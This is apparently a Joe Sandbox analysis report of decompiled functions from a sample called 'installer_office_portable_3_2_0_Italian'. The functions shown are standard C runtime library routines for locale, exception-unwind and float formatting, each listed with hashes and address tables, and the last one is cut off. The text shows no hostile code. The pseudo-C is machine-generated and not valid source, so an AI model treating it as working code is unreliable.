___AdjustPointer.LIBCMT ref: 000D099A
_memmove.LIBCMT ref: 000D09A3

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: fab4b36d163a082e1588bcf3bc714b43033e7a1700226ec2c67801f20450d308
Instruction ID: 57b59181179ee20da0e1359a2a6e779b5c26c37ca0f2e695e7419f7cc06e97bc
Opcode Fuzzy Hash: fab4b36d163a082e1588bcf3bc714b43033e7a1700226ec2c67801f20450d308
Instruction Fuzzy Hash: 9C4134356093029EFB649F25D892BAAB7E5DF01720F24402FF94996393DB61EC80D631

Uniqueness

Uniqueness Score: -1.00%

Function 000DDF78, Relevance: 6.1, APIs: 4, Instructions: 96
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000DDF78(void* __edx, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				void* __ebx;
				int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t60;
				char* _t63;

				_t63 = _a8;
				if(_t63 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t63 != 0) {
					E000CD1A0(_t50,  &_v20, __edx, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E000DA60C( *_t63 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t60 = 1;
							__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t63, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t60;
							}
							L20:
							_t44 = E000D1261(__eflags);
							_t60 = _t60 | 0xffffffff;
							__eflags = _t60;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t60 = _v20;
						__eflags =  *(_t60 + 0x74) - 1;
						if( *(_t60 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t60 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t63[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t60 =  *(_t60 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t60 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t60 + 4), 9, _t63,  *(_t60 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t60 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t63 & 0x000000ff;
					}
					_t60 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x000ddf80
0x000ddf85
0x000ddf9f
0x00000000
0x000ddf9f
0x000ddf87
0x000ddf8c
0x00000000
0x00000000
0x000ddf91
0x000ddfac
0x000ddfb1
0x000ddfb4
0x000ddfbb
0x000ddfda
0x000ddfe1
0x000ddfe3
0x000de027
0x000de02f
0x000de044
0x000de046
0x000de056
0x000de056
0x000de05a
0x000de05c
0x000de05f
0x000de05f
0x000de05f
0x000de05f
0x00000000
0x000de065
0x000de048
0x000de048
0x000de04d
0x000de04d
0x000de050
0x00000000
0x000de050
0x000ddfe5
0x000ddfe8
0x000ddfec
0x000de015
0x000de015
0x000de018
0x000de018
0x00000000
0x00000000
0x000de01a
0x000de01e
0x00000000
0x00000000
0x000de020
0x000de020
0x00000000
0x000de020
0x000ddfee
0x000ddff1
0x00000000
0x00000000
0x000ddff5
0x000de008
0x000de00e
0x000de011
0x000de013
0x00000000
0x00000000
0x00000000
0x000de013
0x000ddfbd
0x000ddfc0
0x000ddfc2
0x000ddfc7
0x000ddfc7
0x000ddfcc
0x00000000
0x000ddfcc
0x000ddf93
0x000ddf98
0x000ddf9c
0x000ddf9c
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000DDFAC
__isleadbyte_l.LIBCMT ref: 000DDFDA
MultiByteToWideChar.KERNEL32(00000080,00000009,000D3692,00000001,00000000,00000000,?,00000000,00000000,?,?,000D3692,00000000), ref: 000DE008
MultiByteToWideChar.KERNEL32(00000080,00000009,000D3692,00000001,00000000,00000000,?,00000000,00000000,?,?,000D3692,00000000), ref: 000DE03E

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: b48b29e86e5b6ac89e9a3574a5041149660c9fc6027fa9342592c966b5e4a28e
Instruction ID: 4cfdbaa9cbea69ee80d448766692c4023eb4965f1d2317432d58d69bc7ea335c
Opcode Fuzzy Hash: b48b29e86e5b6ac89e9a3574a5041149660c9fc6027fa9342592c966b5e4a28e
Instruction Fuzzy Hash: 4F31AD31604386AFEB21AF64C845BAA7FE5AF41310F15442AF4259B2A1D770E890DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 000C7F10, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E000C7F10(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char* _v24;
				intOrPtr _v28;
				char _v40;
				void* __edi;
				void* __esi;
				signed int _t27;
				signed int _t28;
				void* _t39;
				void* _t46;
				intOrPtr _t48;
				void* _t49;
				intOrPtr _t51;
				void* _t52;
				signed int _t53;

				_t46 = __edx;
				_t39 = __ebx;
				_push(0xffffffff);
				_push(E000E38DA);
				_push( *[fs:0x0]);
				_t27 =  *0xef6ac; // 0xcff43140
				_t28 = _t27 ^ _t53;
				_v20 = _t28;
				_push(_t28);
				 *[fs:0x0] =  &_v16;
				_t51 = __ecx;
				_t48 = _a4;
				_v28 = __ecx;
				E000CBFC9(__ecx, 0);
				_v8 = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((char*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((char*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				 *((short*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((short*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((char*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				 *((char*)(__ecx + 0x30)) = 0;
				_v8 = 6;
				_t57 = _t48;
				if(_t48 == 0) {
					_v24 = "bad locale name";
					E000CD5C7( &_v40,  &_v24);
					_v40 = 0xe50b8;
					E000CEBFB( &_v40, 0xed7fc);
				}
				E000CC263(_t39, _t46, _t48, _t51, _t57, _t51, _t48);
				 *[fs:0x0] = _v16;
				_pop(_t49);
				_pop(_t52);
				return E000CC7C7(_t39, _v20 ^ _t53, _t46, _t49, _t52);
			}

0x000c7f10
0x000c7f10
0x000c7f13
0x000c7f15
0x000c7f20
0x000c7f24
0x000c7f29
0x000c7f2b
0x000c7f30
0x000c7f34
0x000c7f3a
0x000c7f3c
0x000c7f41
0x000c7f44
0x000c7f49
0x000c7f50
0x000c7f57
0x000c7f5b
0x000c7f62
0x000c7f68
0x000c7f6f
0x000c7f73
0x000c7f76
0x000c7f7a
0x000c7f7d
0x000c7f80
0x000c7f83
0x000c7f86
0x000c7f8a
0x000c7f8c
0x000c7f95
0x000c7f9c
0x000c7faa
0x000c7fb1
0x000c7fb1
0x000c7fb8
0x000c7fc5
0x000c7fcd
0x000c7fce
0x000c7fdc

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000C7F44

Part of subcall function 000CBFC9: __lock.LIBCMT ref: 000CBFDA

std::exception::exception.LIBCMT ref: 000C7F9C

Part of subcall function 000CD5C7: std::exception::_Copy_str.LIBCMT ref: 000CD5E0

__CxxThrowException@8.LIBCMT ref: 000C7FB1

Part of subcall function 000CEBFB: RaiseException.KERNEL32(?,?,000CBF6B,000C2540,?,?,?,?,000CBF6B,000C2540,000ECFCC,00000000), ref: 000CEC4C

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000C7FB8

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: std::_$Copy_strExceptionException@8Locinfo::_Locinfo_ctorLockitLockit::_RaiseThrow__lockstd::exception::_std::exception::exception
String ID:
API String ID: 271752322-0
Opcode ID: 89fc1aaf15beb4d7185858af644e93e78b1f38f2eb2ec0996f7f527b5d9b7d78
Instruction ID: 48de22ca19c4dd4ee9038f9b0771d2164f7d8d14e8fdf9a36bbcd958dd1d04c8
Opcode Fuzzy Hash: 89fc1aaf15beb4d7185858af644e93e78b1f38f2eb2ec0996f7f527b5d9b7d78
Instruction Fuzzy Hash: 5021B071904784DFC720CFA9C941B9FBBF4EF08700F10466EE44AA7641D775A608CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000D01BA, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000D01BA(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __ebp;
				void* _t25;
				void* _t28;
				void* _t29;
				intOrPtr _t30;
				void* _t31;
				intOrPtr* _t32;
				void* _t34;

				_t31 = __esi;
				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_push(_a4);
					E000D07F3(__ebx, _t30, __esi, _t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E000CEF8A(_t28);
				_push(_t31);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E000D0A54(_t27, _t30, _t32, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E000CFFAC(_t27, _t29, _t30, _t32, _t37);
				if(_t25 != 0) {
					E000CEF5A(_t25, _t30);
					return _t25;
				}
				return _t25;
			}

0x000d01ba
0x000d01ba
0x000d01ba
0x000d01bd
0x000d01c2
0x000d01c5
0x000d01c7
0x000d01ca
0x000d01cd
0x000d01ce
0x000d01d1
0x000d01d6
0x000d01d6
0x000d01d9
0x000d01dd
0x000d01e0
0x000d01e5
0x000d01e2
0x000d01e2
0x000d01e2
0x000d01e8
0x000d01ed
0x000d01ee
0x000d01f1
0x000d01f3
0x000d01f6
0x000d01f9
0x000d01fa
0x000d0202
0x000d0207
0x000d020b
0x000d0211
0x000d0214
0x000d0217
0x000d021a
0x000d021b
0x000d021e
0x000d0229
0x000d022d
0x00000000
0x000d022d
0x000d0234

APIs

___BuildCatchObject.LIBCMT ref: 000D01D1

Part of subcall function 000D07F3: ___AdjustPointer.LIBCMT ref: 000D083C

_UnwindNestedFrames.LIBCMT ref: 000D01E8
___FrameUnwindToState.LIBCMT ref: 000D01FA
CallCatchBlock.LIBCMT ref: 000D021E

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 669864d616fd79f335c115bd198c370feb3482ace6cf7ae3f09b8153e52b75d1
Instruction ID: 78549447f8f3909177a0286dd3362872c728cb4a2cdc2fd5334137ff5b5b3269
Opcode Fuzzy Hash: 669864d616fd79f335c115bd198c370feb3482ace6cf7ae3f09b8153e52b75d1
Instruction Fuzzy Hash: CF01C232000249ABCF129F55CC05FDE3BAAFF59754F15812AF91C66221D376E861EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000D99EF, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000D99EF(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E000D9F3C(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E000D9A75(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E000DA1B1(_t28, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E000DA0F2(_t28, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x000d99f2
0x000d99f8
0x000d9a6b
0x00000000
0x000d99ff
0x000d99ff
0x000d9a02
0x000d9a1d
0x000d9a20
0x000d9a40
0x000d9a52
0x000d9a22
0x000d9a22
0x000d9a25
0x00000000
0x000d9a27
0x000d9a39
0x000d9a39
0x000d9a25
0x000d9a70
0x000d9a74
0x000d9a04
0x000d9a1c
0x000d9a1c
0x000d9a02

APIs

__cftof_l.LIBCMT ref: 000D9A13

Part of subcall function 000DA0F2: __fltout2.LIBCMT ref: 000DA11B

__cftog_l.LIBCMT ref: 000D9A39
__cftoe_l.LIBCMT ref: 000D9A6B

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: adccf12c165e18775081116e4d99c209b6cf10eb9c6c28d9648be21f22ed00cc
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: A7014C3300025ABBCF525E98CC02CEE3F62BB19350F598516FA1958231C336D9B1ABA2

Uniqueness

Uniqueness Score: -1.00%

Function 000D4787, Relevance: 6.0, APIs: 4, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E000D4787(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				LONG* _t20;
				signed int _t25;
				void* _t29;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t24 = __ebx;
				_push(0xc);
				_push(0xed3f8);
				E000D3B00(__ebx, __edi, __esi);
				_t31 = E000D4F6A(__edi, _t35);
				_t25 =  *0xeff9c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t25) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E000CF0B6(_t29, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0xef850; // 0x9b36a8
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0xefb50;
								if(__eflags != 0) {
									E000CD081(_t33);
								}
							}
						}
						_t20 =  *0xef850; // 0x9b36a8
						 *(_t31 + 0x68) = _t20;
						_t33 =  *0xef850; // 0x9b36a8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E000D4823();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					E000D381F(_t24, _t29, _t31, _t33, _t38, 0x20);
				}
				return E000D3B45(_t33);
			}

0x000d4787
0x000d4787
0x000d4787
0x000d4787
0x000d4789
0x000d478e
0x000d4798
0x000d479a
0x000d47a3
0x000d47c4
0x000d47ca
0x000d47ce
0x000d47d1
0x000d47d4
0x000d47da
0x000d47dc
0x000d47de
0x000d47e7
0x000d47e9
0x000d47eb
0x000d47f1
0x000d47f4
0x000d47f9
0x000d47f1
0x000d47e9
0x000d47fa
0x000d47ff
0x000d4802
0x000d4808
0x000d480c
0x000d480c
0x000d4812
0x000d4819
0x000d47ab
0x000d47ab
0x000d47ab
0x000d47ae
0x000d47b0
0x000d47b4
0x000d47b9
0x000d47c1

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

__lock.LIBCMT ref: 000D47C4
InterlockedDecrement.KERNEL32(?), ref: 000D47E1
_free.LIBCMT ref: 000D47F4
InterlockedIncrement.KERNEL32(009B36A8), ref: 000D480C

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: 8a93c56c3efaf8b32bb30e89dbfb93f0991085e23cd2a2e5b9fc0f36618b5665
Instruction ID: d9c9deb11b2428983e38ef7071e07a0dd432aee4b89f9d8ae36277dde06c1a74
Opcode Fuzzy Hash: 8a93c56c3efaf8b32bb30e89dbfb93f0991085e23cd2a2e5b9fc0f36618b5665
Instruction Fuzzy Hash: 6701C032E047139BD760AF6588867ADB3A0BF41B21F04012BE9017B382CB386945DBE2

Uniqueness

Uniqueness Score: -1.00%

Function 000D4FF1, Relevance: 6.0, APIs: 4, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E000D4FF1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				short _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t42;
				void* _t43;

				_t37 = __edx;
				_push(8);
				_push(0xed460);
				E000D3B00(__ebx, __edi, __esi);
				_t42 =  *((intOrPtr*)(_t43 + 8));
				 *((intOrPtr*)(_t42 + 0x5c)) = 0xe8d80;
				 *(_t42 + 8) =  *(_t42 + 8) & 0x00000000;
				 *((intOrPtr*)(_t42 + 0x14)) = 1;
				 *((intOrPtr*)(_t42 + 0x70)) = 1;
				_t23 = 0x43;
				 *((short*)(_t42 + 0xb8)) = _t23;
				 *((short*)(_t42 + 0x1be)) = _t23;
				 *(_t42 + 0x68) = 0xefb50;
				 *(_t42 + 0x3b8) =  *(_t42 + 0x3b8) & 0x00000000;
				E000CF0B6(__edx, 0xd);
				 *(_t43 - 4) =  *(_t43 - 4) & 0x00000000;
				InterlockedIncrement( *(_t42 + 0x68));
				 *(_t43 - 4) = 0xfffffffe;
				E000D5092();
				E000CF0B6(_t37, 0xc);
				 *(_t43 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t43 + 0xc));
				 *((intOrPtr*)(_t42 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0xefedc; // 0x9afdc8
					 *((intOrPtr*)(_t42 + 0x6c)) = _t32;
				}
				E000D4180( *((intOrPtr*)(_t42 + 0x6c)));
				 *(_t43 - 4) = 0xfffffffe;
				return E000D3B45(E000D509B());
			}

0x000d4ff1
0x000d4ff1
0x000d4ff3
0x000d4ff8
0x000d4ffd
0x000d5000
0x000d5007
0x000d500e
0x000d5011
0x000d5016
0x000d5017
0x000d501e
0x000d5025
0x000d502c
0x000d5035
0x000d503b
0x000d5042
0x000d5048
0x000d504f
0x000d5056
0x000d505c
0x000d505f
0x000d5062
0x000d5067
0x000d5069
0x000d506e
0x000d506e
0x000d5074
0x000d507a
0x000d508b

APIs

__lock.LIBCMT ref: 000D5035

Part of subcall function 000CF0B6: __mtinitlocknum.LIBCMT ref: 000CF0C8
Part of subcall function 000CF0B6: EnterCriticalSection.KERNEL32(?,?,000D503A,0000000D), ref: 000CF0E1

InterlockedIncrement.KERNEL32(000EFB50), ref: 000D5042
__lock.LIBCMT ref: 000D5056
___addlocaleref.LIBCMT ref: 000D5074

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID:
API String ID: 1687444384-0
Opcode ID: 6e578fa6ae880f5212b7049b9bf8ecfddb249ca0feff4d48ea7ae2d2dde1bad3
Instruction ID: 6cdf982131369dc7e7a6a62d31737505ec179ece4897737b9ce7e135b974784f
Opcode Fuzzy Hash: 6e578fa6ae880f5212b7049b9bf8ecfddb249ca0feff4d48ea7ae2d2dde1bad3
Instruction Fuzzy Hash: CD015E72400B019FD730DF65D80579ABBE0AF50725F20891FE599973A2CB74A644CF51

Uniqueness

Uniqueness Score: -1.00%

Function 000CA750, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E000CA750(signed int __ecx, void* __edx, signed int _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v44;
				char _v48;
				signed int _v49;
				signed int _v52;
				char _v56;
				char _v60;
				char _v76;
				char _v77;
				intOrPtr _v84;
				intOrPtr _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t63;
				signed int _t65;
				signed int _t79;
				void* _t84;
				void* _t91;
				void* _t93;
				void* _t94;
				signed int _t104;
				void* _t106;
				signed int _t108;
				signed int _t112;
				signed int _t117;
				char _t119;
				signed int _t121;
				signed int* _t125;
				signed int _t127;
				intOrPtr _t130;
				void* _t132;
				intOrPtr _t133;
				intOrPtr* _t134;
				signed int _t135;
				void* _t136;
				signed int _t138;
				signed int _t139;
				signed int _t141;

				_push(0xffffffff);
				_push(E000E3B78);
				_push( *[fs:0x0]);
				_t141 = (_t139 & 0xfffffff8) - 0x30;
				_t63 =  *0xef6ac; // 0xcff43140
				_v24 = _t63 ^ _t141;
				_push(_t134);
				_push(_t130);
				_t65 =  *0xef6ac; // 0xcff43140
				_push(_t65 ^ _t141);
				 *[fs:0x0] =  &_v16;
				_t104 = __ecx;
				_t108 = _a4;
				if(_t108 != 0xffffffff) {
					_t68 =  *(__ecx + 0x20);
					_t127 =  *( *(__ecx + 0x20));
					__eflags = _t127;
					if(_t127 == 0) {
						L5:
						__eflags =  *(_t104 + 0x50);
						if( *(_t104 + 0x50) != 0) {
							_t128 =  *(_t104 + 0xc);
							__eflags =  *_t128 - _t104 + 0x44;
							if( *_t128 == _t104 + 0x44) {
								 *_t128 =  *((intOrPtr*)(_t104 + 0x38));
								 *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x1c)))) =  *((intOrPtr*)(_t104 + 0x3c));
								__eflags = 0;
								 *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x2c)))) = 0;
								_t108 = _a4;
							}
							__eflags =  *(_t104 + 0x40);
							if(__eflags != 0) {
								_v49 = _t108;
								_v48 = 0;
								asm("xorps xmm0, xmm0");
								asm("movq [esp+0x20], xmm0");
								__eflags = 0xf - 0x10;
								_t71 =  >=  ? _v48 :  &_v48;
								_v28 = 0xf;
								_v32 = 8;
								 *((char*)(( >=  ? _v48 :  &_v48) + 8)) = 0;
								_v8 = 0;
								while(1) {
									__eflags = _v28 - 0x10;
									_t135 =  *(_t104 + 0x40);
									_t131 =  *_t135;
									_t111 =  >=  ? _v48 :  &_v48;
									_t128 =  >=  ? _v48 :  &_v48;
									_t74 = _v32 + ( >=  ? _v48 :  &_v48);
									_t112 = _t135;
									_t79 =  *((intOrPtr*)( *_t135 + 0x1c))(_t104 + 0x48,  &_v49,  &_v48,  &_v56,  >=  ? _v48 :  &_v48, _v32 + ( >=  ? _v48 :  &_v48),  &_v60);
									__eflags = _t79;
									if(_t79 < 0) {
										break;
									}
									__eflags = _t79 - 1;
									if(_t79 > 1) {
										__eflags = _t79 - 3;
										if(__eflags != 0) {
											break;
										} else {
											_push( *(_t104 + 0x50));
											_push(_v77);
											_t84 = E000CD86C(_t104, _t131, _t135, __eflags);
											_t117 = _t112 | 0xffffffff;
											_t141 = _t141 + 8;
											__eflags = _t84 - _t117;
											_t118 =  !=  ? _a4 : _t117;
											_t105 =  !=  ? _a4 : _t117;
										}
									} else {
										_t133 = _v56;
										_t119 = _v76;
										__eflags = _t133 - 0x10;
										_t86 =  >=  ? _t119 :  &_v76;
										_t138 = _v88 - ( >=  ? _t119 :  &_v76);
										__eflags = _t138;
										if(_t138 == 0) {
											L16:
											 *((char*)(_t104 + 0x45)) = 1;
											__eflags = _v84 -  &_v77;
											if(_v84 !=  &_v77) {
											} else {
												__eflags = _t138;
												if(_t138 != 0) {
													continue;
												} else {
													__eflags = _v60 - 0x20;
													if(_v60 >= 0x20) {
														break;
													} else {
														_push(_t138);
														E000CB120( &_v77, _t104,  &_v76, _t128, _t133, 8);
														continue;
													}
												}
											}
										} else {
											_push( *(_t104 + 0x50));
											_push(_t138);
											__eflags = _t133 - 0x10;
											_t90 =  >=  ? _t119 :  &_v76;
											_push(1);
											_push( >=  ? _t119 :  &_v76);
											_t91 = E000CDD86(_t104, _t128, _t133, _t138, _t133 - 0x10);
											_t141 = _t141 + 0x10;
											__eflags = _t138 - _t91;
											if(_t138 != _t91) {
												break;
											} else {
												goto L16;
											}
										}
									}
									L24:
									__eflags = _v56 - 0x10;
									if(_v56 >= 0x10) {
										L000CC7D6(_v76);
										_t141 = _t141 + 4;
									}
									goto L27;
								}
								_t105 = _t104 | 0xffffffff;
